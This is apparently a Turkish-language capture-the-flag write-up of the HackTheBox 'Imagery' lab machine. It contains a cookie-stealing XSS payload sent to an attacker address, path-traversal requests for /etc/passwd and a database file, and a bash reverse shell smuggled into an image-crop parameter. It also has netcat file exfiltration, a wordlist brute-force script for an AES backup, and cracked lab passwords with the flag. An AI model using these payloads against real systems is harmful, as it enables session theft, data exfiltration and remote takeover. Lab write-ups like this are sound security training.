CTF

HackTheBox İmagery WriteUp

Merhaba arkadaşlar, bugün HackTheBox platformu üzerinde bulunan İmagery odasını çözeceğiz. İlk başta VPN konfigürasyon dosyamızın bağlantısını tamamlayarak İP adresimizi alıyoruz. Nmap taraması ile başlıyoruz.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sV -Pn 10.10.11.88 
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-06 06:20 EST
Stats: 0:00:00 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 44.25% done; ETC: 06:20 (0:00:00 remaining)
Stats: 0:00:07 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 50.00% done; ETC: 06:21 (0:00:06 remaining)
Nmap scan report for 10.10.11.88
Host is up (0.061s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.7p1 Ubuntu 7ubuntu4.3 (Ubuntu Linux; protocol 2.0)
8000/tcp open  http    Werkzeug httpd 3.1.3 (Python 3.12.7)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.34 seconds

Bu Nmap çıktısına bakarak 22 ve 8000 portunun açık olduğunu görüyoruz. HTTP açık olduğu için web tarayıcısından giriş yapacağız.

Evet Web sitemize giriş yapabildik. register sistemini kullanarak kendime bir kayıt oluşturup giriş yapıyorum. Bu web sitesinin temel çalışma sisteminin gallery mantığı olduğunu anlıyoruz ve bir upload pagesi var,

Potansiyel Bir Açık Olabilir

Upload pagemiz üzerinden testler gerçekleştireceğiz.

Bir kaç test yaptım ve dosya adlarının kendi UUID ile kaydedildiğini gördüm

http://10.10.11.88:8000/uploads/7deecf3f-7f08-4b48-b0c6-8d23320793f1_meta.png

Bir kaç denemeden sonra /report_bug dizininde XSS denemeye karar verdim ve burp ile denemelerimize başladık.

Burda bazı denemelerde bulundum ama istediğim sonucu alamadım.

POST /report_bug HTTP/1.1
Host: 10.10.11.88:8000
Content-Length: 139
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://10.10.11.88:8000
Referer: http://10.10.11.88:8000/
Accept-Encoding: gzip, deflate, br
Cookie: session=.eJxNjTEKwzAMRe-iuZQMCQVPyZhTGGGrQWDJxnKGEnL31ENLxvfeh39AZCsJP2sEB9PwGomGCR7AtkRhBffGZNTZsxSqlhUb6-YbWduN6n3xcx5DyLu2f-tSUej7kYXqvAlyeoYscF6coS6Y.aVz1Yw.dC8zWdENdc-AKXdA7PysG49_rU0
Connection: keep-alive

{
  "bugName": "XSS Test", 
  "bugDetails": "<img src=1 onerror=\"document.location='http://<youripadress>:4444/?c='+document.cookie\">" 
}

Burp üzerinden bu isteği gönderdim ve kendi terminalimden netcat ile dinleme altına aldım ve netcat üzerinden shell almış oldum.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.15.35] from (UNKNOWN) [10.10.11.88] 41796
GET /?c=session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aVz2sw.Q9CKPlaDl3wDLLPJWaORKuI1YiQ HTTP/1.1
Host: 10.10.15.35:4444
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://0.0.0.0:8000/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

Buradan istediğimiz sessionu almış olduk ve artık kullanma zamanı, web sitesindeyken F12 tuşuna basıyoruz ve açılan yerden storage kısmına girip bu sessionu oraya yapıştırıyoruz.

Ve admin paneline erişim sağlamış olduk

HTTP/1.1 200 OK
Server: Werkzeug/3.1.3 Python/3.12.7
Date: Tue, 06 Jan 2026 11:59:22 GMT
Content-Type: application/json
Content-Length: 320
Vary: Cookie
Connection: close

{"anyAdminExists":true,"success":true,"users":[{"displayId":"a1b2c3d4","isAdmin":true,"isTestuser":false,"username":"admin@imagery.htb"},{"displayId":"e5f6g7h8","isAdmin":false,"isTestuser":true,"username":"testuser@imagery.htb"},{"displayId":"5074ee05","isAdmin":false,"isTestuser":false,"username":"omer@gmail.com"}]}

Burada logları indirmeye çalıştığımızda bu ekranla karşılaşıyoruz.

GET /admin/get_system_log?log_identifier=../../../../../../../../etc/passwd HTTP/1.1
Host: 10.10.11.88:8000
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.10.11.88:8000/?c=session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aVz2sw.Q9CKPlaDl3wDLLPJWaORKuI1YiQ
Accept-Encoding: gzip, deflate, br
Cookie: session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aVz2sw.Q9CKPlaDl3wDLLPJWaORKuI1YiQ
If-None-Match: "1767700867.8266404-212-2828407261"
If-Modified-Since: Tue, 06 Jan 2026 12:01:07 GMT
Connection: keep-alive

Bu istek ile istediğimiz çıktıyı alıyoruz.

HTTP/1.1 200 OK
Server: Werkzeug/3.1.3 Python/3.12.7
Date: Tue, 06 Jan 2026 12:05:01 GMT
Content-Disposition: attachment; filename=passwd
Content-Type: text/plain; charset=utf-8
Content-Length: 1982
Last-Modified: Mon, 22 Sep 2025 19:11:49 GMT
Cache-Control: no-cache
ETag: "1758568309.7066295-1982-1163727391"
Date: Tue, 06 Jan 2026 12:05:01 GMT
Vary: Cookie
Connection: close

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
usbmux:x:100:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:102:102::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:992:992:systemd Resolver:/:/usr/sbin/nologin
pollinate:x:103:1::/var/cache/pollinate:/bin/false
polkitd:x:991:991:User for polkitd:/:/usr/sbin/nologin
syslog:x:104:104::/nonexistent:/usr/sbin/nologin
uuidd:x:105:105::/run/uuidd:/usr/sbin/nologin
tcpdump:x:106:107::/nonexistent:/usr/sbin/nologin
tss:x:107:108:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:108:109::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
web:x:1001:1001::/home/web:/bin/bash
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
snapd-range-524288-root:x:524288:524288::/nonexistent:/usr/bin/false
snap_daemon:x:584788:584788::/nonexistent:/usr/bin/false
mark:x:1002:1002::/home/mark:/bin/bash
_laurel:x:101:988::/var/log/laurel:/bin/false
dhcpcd:x:110:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false

Bu durumda veritabanına erişmiş olduk.

GET /admin/get_system_log?log_identifier=../db.json HTTP/1.1
Host: 10.10.11.88:8000
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.10.11.88:8000/?c=session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aVz2sw.Q9CKPlaDl3wDLLPJWaORKuI1YiQ
Accept-Encoding: gzip, deflate, br
Cookie: session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aVz2sw.Q9CKPlaDl3wDLLPJWaORKuI1YiQ
If-None-Match: "1767700867.8266404-212-2828407261"
If-Modified-Since: Tue, 06 Jan 2026 12:01:07 GMT
Connection: keep-alive
HTTP/1.1 200 OK
Server: Werkzeug/3.1.3 Python/3.12.7
Date: Tue, 06 Jan 2026 12:06:53 GMT
Content-Disposition: attachment; filename=db.json
Content-Type: text/plain; charset=utf-8
Content-Length: 975
Last-Modified: Tue, 06 Jan 2026 12:06:07 GMT
Cache-Control: no-cache
ETag: "1767701167.910658-975-4065660163"
Date: Tue, 06 Jan 2026 12:06:53 GMT
Vary: Cookie
Connection: close

{
    "users": [
        {
            "username": "admin@imagery.htb",
            "password": "5d9c1d507a3f76af1e5c97a3ad1eaa31",
            "isAdmin": true,
            "displayId": "a1b2c3d4",
            "login_attempts": 0,
            "isTestuser": false,
            "failed_login_attempts": 0,
            "locked_until": null
        },
        {
            "username": "testuser@imagery.htb",
            "password": "2c65c8d7bfbca32a3ed42596192384f6",
            "isAdmin": false,
            "displayId": "e5f6g7h8",
            "login_attempts": 0,
            "isTestuser": true,
            "failed_login_attempts": 0,
            "locked_until": null
        }
    ],
    "images": [],
    "image_collections": [
        {
            "name": "My Images"
        },
        {
            "name": "Unsorted"
        },
        {
            "name": "Converted"
        },
        {
            "name": "Transformed"
        }
    ],
    "bug_reports": []
}

Buradan istediğimiz HASH'leri bulduk ve crackstation ile kıracağız.

Burada admin hesabının şifresini kıramadım ama Test hesabının şifresini kırabildik,

Email: testuser@imagery.htb
Password: iambatman

Bu hesaba geçiş yaptıktan sonra bir resim yüklediğimizde, önceki hesapta mevcut olmayan özelliklerin artık etkinleştirildiğini görüyoruz. Buraya yüklediğimiz resimden reverse shell elde edeceğiz.

curl -X POST http://10.10.11.88:8000/apply_visual_transform \
     -H "Content-Type: application/json" \
     -H "Cookie: session=[Sessıon-id]" \
     -d '{
       "imageId": "[image_ID]",
       "transformType": "crop",
       "params": {
         "x": "0; bash -c \"bash -i >& /dev/tcp/[_IP_ADDRESS]/[PORT] 0>&1\"; echo",
         "y": "0",
         "width": "100",
         "height": "100"
       }
     }'

veya

POST /apply_visual_transform HTTP/1.1
Host: 10.10.11.88:8000
Content-Type: application/json
Cookie: session=<your_session>
Connection: close
Content-Length: 237

{
  "imageId": "<image_id>",
  "transformType": "crop",
  "params": {
    "x": "0; bash -c 'bash -i >& /dev/tcp/<your_ip>/4444 0>&1'; echo",
    "y": "0",
    "width": "100",
    "height": "100"
  }
}

Bu komutlar çalıştırmadan önce kendi terminalimizde netcat çalıştırıp shell alacağız.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.15.35] from (UNKNOWN) [10.10.11.88] 59406
bash: cannot set terminal process group (1296): Inappropriate ioctl for device
bash: no job control in this shell
web@Imagery:~/web$

İçeri giriş yapabildik ama kullanıcı değiştiremiyoruz, bu yüzden keşif yapacağız.

web@Imagery:~/web$ find / -name "*.aes" 2>/dev/null
find / -name "*.aes" 2>/dev/null
/var/backup/web_20250806_120723.zip.aes

Burada bir zip dosyası görüyoruz, bunu ana makinemize alıp analiz edelim. Kendi makinemde nc -lvnp 4445 > web_backup.zip.aes çalıştırıyoruz ve shell tarafında şu komutu çalıştırıyoruz:

nc <ip> 4445 < /var/backup/web_20250806_120723.zip.aes >

ve brute force ile çözmeye çalışacağız.

┌──(myenv)─(kali㉿kali)-[/tmp]
└─$ pip install pyAesCrypt

import pyAesCrypt
import sys
import os

if len(sys.argv) < 3:
    print("Kullanım: python3 crack.py file.aes wordlist.txt")
    sys.exit(1)

encfile = sys.argv[1]
wordlist = sys.argv[2]
bufferSize = 64 * 1024

print(f"[*] {encfile} şifresi kırılıyor... Sabırlı ol kanka.")

with open(wordlist, "r", errors="ignore") as f:
    for idx, line in enumerate(f, 1):
        pwd = line.strip()
        if not pwd:
            continue

        try:
            # decrypted.zip her seferinde silinmeli ki hata vermesin
            if os.path.exists("decrypted.zip"):
                os.remove("decrypted.zip")

            pyAesCrypt.decryptFile(encfile, "decrypted.zip", pwd, bufferSize)
            print(f"\n\n[+] BULDUM LAN BULDUM! Şifre: {pwd}")
            print(f"[+] Dosya şuraya çıktı: decrypted.zip")
            sys.exit(0)
        except Exception:
            # Yanlış şifre durumunda buraya düşer
            if idx % 1000 == 0:
                sys.stdout.write(f"\r[*] Denenen şifre sayısı: {idx}")
                sys.stdout.flush()
            continue

print("\n[-] Maalesef wordlist bitti ama şifre yok.")
>

Bu dosyayı nano crack.py diye kaydetip çalıştırıyoruz.

python3 crack.py web_backup.zip.aes /usr/share/wordlists/rockyou.txt
ve şifeyi bulduk
┌──(myenv)─(kali㉿kali)-[~]
└─$ python3 crack.py web_backup.zip.aes /usr/share/wordlists/rockyou.txt
[*] web_backup.zip.aes şifresi kırılıyor... Sabırlı ol kanka.

[+] BULDUM LAN BULDUM! Şifre: bestfriends
[+] Dosya şuraya çıktı: decrypted.zip

┌──(myenv)─(kali㉿kali)-[~]
└─$

Şifreyi aldıktan sonra db.json dosyasını okuyacağız.

┌──(myenv)─(kali㉿kali)-[~]
└─$ cd web                                     

┌──(myenv)─(kali㉿kali)-[~/web]
└─$ cat db.json 
{
    "users": [
        {
            "username": "admin@imagery.htb",
            "password": "5d9c1d507a3f76af1e5c97a3ad1eaa31",
            "displayId": "f8p10uw0",
            "isTestuser": false,
            "isAdmin": true,
            "failed_login_attempts": 0,
            "locked_until": null
        },
        {
            "username": "testuser@imagery.htb",
            "password": "2c65c8d7bfbca32a3ed42596192384f6",
            "displayId": "8utz23o5",
            "isTestuser": true,
            "isAdmin": false,
            "failed_login_attempts": 0,
            "locked_until": null
        },
        {
            "username": "mark@imagery.htb",
            "password": "01c3d2e5bdaf6134cec0a367cf53e535",
            "displayId": "868facaf",
            "isAdmin": false,
            "failed_login_attempts": 0,
            "locked_until": null,
            "isTestuser": false
        },
        {
            "username": "web@imagery.htb",
            "password": "84e3c804cf1fa14306f26f9f3da177e0",
            "displayId": "7be291d4",
            "isAdmin": true,
            "failed_login_attempts": 0,
            "locked_until": null,
            "isTestuser": false
        }
    ],
    "images": [],
    "bug_reports": [],
    "image_collections": [
        {
            "name": "My Images"
        },
        {
            "name": "Unsorted"
        },
        {
            "name": "Converted"
        },
        {
            "name": "Transformed"
        }
    ]
}                                                                                                                     
┌──(myenv)─(kali㉿kali)-[~/web]
└─$

Buradan HASH'i kırıp admin olacağız.

mark:supersmash web:spiderweb1234

Ve buradan flagi alıyoruz.

web@Imagery:~/web$ su mark
su mark
Password: supersmash
ls
api_admin.py
api_auth.py
api_edit.py
api_manage.py
api_misc.py
api_upload.py
app.py
bot
config.py
db.json
env
__pycache__
static
system_logs
templates
uploads
utils.py
cd /home/mark
ls
user.txt
cat user.txt
e7be8f6992191c70e502b836d4e6aa21

FLAG: e7be8f6992191c70e502b836d4e6aa21